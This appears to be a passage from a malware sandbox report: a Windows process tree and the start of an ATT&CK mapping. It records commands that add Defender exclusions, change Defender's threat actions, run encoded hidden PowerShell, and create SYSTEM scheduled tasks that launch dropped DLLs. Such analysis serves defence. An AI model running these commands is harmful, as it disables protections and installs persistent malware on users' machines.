                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5836
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:1296
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:4016
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:5548
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:2352
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:2652
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5480
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:5964
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4068
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:5108
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:3088
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:2912
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:6076
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:6140
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:536
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:6120
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:5184
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:6044
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:6048
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                schtasks /CREATE /TN "gyNyvcpze" /SC once /ST 01:28:33 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                PID:6064
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                schtasks /run /I /tn "gyNyvcpze"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:5708
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                  schtasks /DELETE /F /TN "gyNyvcpze"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:5788
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                    schtasks /CREATE /TN "WKALCIrwIEiqhKBsn" /SC once /ST 00:50:44 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\ORjTvDm.exe\" y7 /eRxJdidez 385118 /S" /V1 /F
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                    PID:3588
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                    schtasks /run /I /tn "WKALCIrwIEiqhKBsn"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:6136
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5904 -s 1108
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                      PID:1612
                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                    PID:1736
                                                                                                                                                                                                                                    • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:5808
                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:5396
                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:4292
                                                                                                                                                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:5836
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            • Identifies Wine through registry keys
                                                                                                                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                            PID:5572
                                                                                                                                                                                                                                          • C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\ORjTvDm.exe
                                                                                                                                                                                                                                            C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\ORjTvDm.exe y7 /eRxJdidez 385118 /S
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                            • Checks computer location settings
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            • Drops Chrome extension
                                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                            PID:5812
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:3744
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:5884
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:2860
                                                                                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                            PID:5984
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:4876
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:1124
                                                                                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                  PID:5848
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:5928
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:5824
                                                                                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:6080
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:5136
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:2224
                                                                                                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                              PID:6040
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:3940
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:4820
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                  PID:4824
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                      PID:2140
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "bqGGCwwWIommTRgeuN"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:5876
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:4308
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:2788
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:5836
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                            PID:2596
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                PID:5984
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                        schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JipyTrDkU\boZYqC.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jiLwFdOzPPQiWLm" /V1 /F
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                        PID:5696
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                        schtasks /CREATE /TN "jiLwFdOzPPQiWLm2" /F /xml "C:\Program Files (x86)\JipyTrDkU\sJDXIlv.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                        PID:3620
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                        schtasks /END /TN "jiLwFdOzPPQiWLm"
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:2796
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "jiLwFdOzPPQiWLm"
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:6108
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "EyAjTIEydjCaoB" /F /xml "C:\Program Files (x86)\tegRANPZONsU2\EfeJCiL.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                            PID:4252
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "nwujZhVsLEYxr2" /F /xml "C:\ProgramData\fcblnlcRRSrBhAVB\sCKcxVb.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                            PID:2512
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "njgsfWmNUCIAXOmvm2" /F /xml "C:\Program Files (x86)\krdeMCnRKomDOvwVunR\yxGEQFa.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                            PID:1952
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "ZXdYLGWImophNcyfuyr2" /F /xml "C:\Program Files (x86)\YLgKyOFzWxOqC\iXGtiDm.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                            PID:5752
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "QdCYtDviHOrgqJLgZ" /SC once /ST 01:04:50 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ZmzskowerwXEonlG\aTaLVQIQ\yOpUncv.dll\",#1 /QNPbdidl 385118" /V1 /F
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                            PID:2180
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                            schtasks /run /I /tn "QdCYtDviHOrgqJLgZ"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:2684
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "WKALCIrwIEiqhKBsn"
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:748
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 2304
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                                PID:5288
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 5904 -ip 5904
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:1636
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\aTaLVQIQ\yOpUncv.dll",#1 /QNPbdidl 385118
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:3848
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\aTaLVQIQ\yOpUncv.dll",#1 /QNPbdidl 385118
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                    PID:6084
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                      schtasks /DELETE /F /TN "QdCYtDviHOrgqJLgZ"
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:2472
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5556 -ip 5556
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:5776
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5812 -ip 5812
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:4136

                                                                                                                                                                                                                                                                                                      Network

                                                                                                                                                                                                                                                                                                      MITRE ATT&CK Matrix ATT&CK v13

                                                                                                                                                                                                                                                                                                      Execution

                                                                                                                                                                                                                                                                                                      Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                      T1059

                                                                                                                                                                                                                                                                                                      PowerShell

                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                      T1059.001

                                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                                      Persistence

                                                                                                                                                                                                                                                                                                      Boot or Logon Autostart Execution

